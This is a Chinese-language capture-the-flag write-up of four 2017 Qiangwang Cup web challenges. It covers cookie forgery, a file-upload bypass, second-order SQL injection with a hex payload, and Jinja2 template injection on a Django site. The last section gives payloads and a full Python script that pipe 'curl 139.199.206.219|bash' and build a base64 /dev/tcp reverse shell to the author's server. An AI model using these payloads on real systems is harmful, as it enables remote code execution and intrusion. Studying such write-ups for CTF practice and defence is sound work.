[2017强网杯] Web Writeup
Web50 :
- 题目名称:Broken
- 题目url:动态url
首先一进去之后发现有file链接,点进去之后是一串JSFuck 然后丢去在线网站解密发现报错,应该是格式出错了 这里我选择从解密网站的源码中抽出那段还没有eval的部分,单独执行一次,得出一段结果之后再拿去解密还是不行,这时丢进去Sublime格式化一下之后发现最下面缺少了一个 ],补上之后直接eval,发现有一个数组
点开之后找到flag
Web100:
- 题目名称:Who are you?
- 题目链接:动态url
进去之后有一句话 Sorry. You have no permissions.
看Cookie后发现set了一个可疑cookie名字叫role,base64解密后是这个东西 f:5:"thrfg";
估计中间的字符串要变成相应的admin,脑洞大发直接将中间的rot13后就变成了guest,直接改成admin后再rot13再base64,然后修改cookie role成为这个之后进去另外一个页面,页面提示Hello admin, now you can upload something you are easy to forget.
然后查看源码发现注释<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget.</body>
随便post一个filename为fuck.php,data是123的文件上去
发现后缀名是可以控制的,一开始的想法是在data里面写shell,但是发现过滤了左尖括号,很多姿势都没办法用,然后猜测后台使用了file_put_content这个函数,查看官方文档发现这个函数是可以接受数组的,尝试上传一个数组上去后绕过检测,打开上传之后的文件发现flag
Web200
- 题目名称:Phone Number
- 题目链接:动态url
进去之后发现是一个注册登录的界面,自然是首先想到的是注入,正常注册一个账号登录之后有这样的一个界面
并且在点击check后注释中有这样一句话<!-- 听说admin的电话藏着大秘密哦~--&rt;
首先想到的是利用admin表长度限制的漏洞进行越权注册,发现没啥用。
然后想到的是二次注入,发现在用户名的地方是被addslash了无法注入,其次尝试phone,发现在注册的时候phone的长度作了限制,并且只能提交数字,这里使用了三个小技巧
1、phone的长度是前端做限制的,所以可以截包修改
2、sql是可以接收一段经过hex转换后的sql语句并执行的
3、在php中intval是把hex当作数字的
这里很明确就是直接在注册的时候把注入语句转换成hex然后截包提交后登录点击check实现二次注入 exp:0x3120756e696f6e2073656c6563742070686f6e652066726f6d207573657223 直接上poc:
Web400:
- 题目名称:Musee de X
- 题目链接:动态url
这是一个Django搭建的网站,Debug没有关,所以出错的时候能看到很多重要信息,包括关键代码和settings信息 进去之后是一个捐赠的网站,捐赠的是一个url链接,要图片,正常操作应该是将用户名做成水印写上去。尝试着输入一个非图片的链接,报错,看到关键代码是将图片重新绘制的,所以打消了上传马的念头。。。然后看到关键代码中有使用jinja2的模板 之前有一个cve是爆出jinja2有格式化字符串的漏洞,这个漏洞平时ctf比赛接触得比较少。。所以还是不太熟悉,找了好久。。。最后发现username是利用点,格式化字符串之后的结果会绘制在图片中。 注册一个名字为{{10+50}}的用户,正常进贡一张图片,发现
直接百度到exp(http://www.freebuf.com/articles/system/97146.html)) 然后发现太长的exp是不能注册的。。。带/的也不行,这里有几个骚操作:
方法一: 最简单的方法是在自己的vps上开启http服务,将反弹shell的指令写入默认主页,也就是index.html或者是index.php
然后注册exp为
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('curl 139.199.206.219|bash') }}{% endif %}{% endfor %}
正常进贡图片,就能反弹到shell了
方法二:
比较骚但是有点麻烦
这里因为长度的限制和/过滤的问题不能直接执行反弹shell的语句
这里我们直接将反弹shell语句base64一下之后一个个字写到一个文件
也就是 echo -n 'A' >> 1
这里注意要加-n
因为echo
默认是在最后面加入一个换行符
最后执行 cat 1 | base64 -d |bash
就行了
附上脚本:
import requests
import re
#csrfmiddlewaretoken
payload = 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwNi4yMTkvODA4OCAwPiYxCg=='
reg_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/register.php'
login_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/login.php'
rce_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/donate.php'
se = requests.Session()
def getToken(content):
token = re.findall('name="csrfmiddlewaretoken" value="(.*?)"', content ,re.S | re.M)
if token != []:
return token[0]
else:
exit('token not found')
def doReg(username):
res = se.get(reg_url)
token = getToken(res.content)
res = se.post(reg_url, data={'username':username,'password':'123','csrfmiddlewaretoken':token})
doLogin(username)
def doLogin(username):
res = se.get(login_url)
token = getToken(res.content)
res = se.post(login_url, data={'username':username, 'password':'123', 'csrfmiddlewaretoken':token})
if 'Head on over' in res.content:
rce(username)
else:
exit('login fail')
def rce(username):
res = se.get(rce_url)
token = getToken(res.content)
res = se.post(rce_url, data={'url':'http://139.199.206.219/1.png', 'text':username, 'csrfmiddlewaretoken':token, 'submit':'Go!'})
if '/view/1' in res.content:
return True
else:
print res.content
exit('upload fail')
for x in payload:
username = "{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%} {{c.__init__.func_globals['linecache'].__dict__['os'].system('echo -n %s >> 1') }} {%% endif %%} {%% endfor %%}" % x
print username
# print username
# exit()
try:
doReg(username)
except Exception as e:
print e
continue
print '[*] Success!'
print '[*] Using WebShell.......'
username = "{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{c.__init__.func_globals['linecache'].__dict__['os'].system('cat 1 | base64 -d|bash') }} {% endif %} {% endfor %}"
print username
doReg(username)
# doLogin(username)
print '[*] Enjoy Your WebShell......'
Did you like the post? Subscribe to the feed.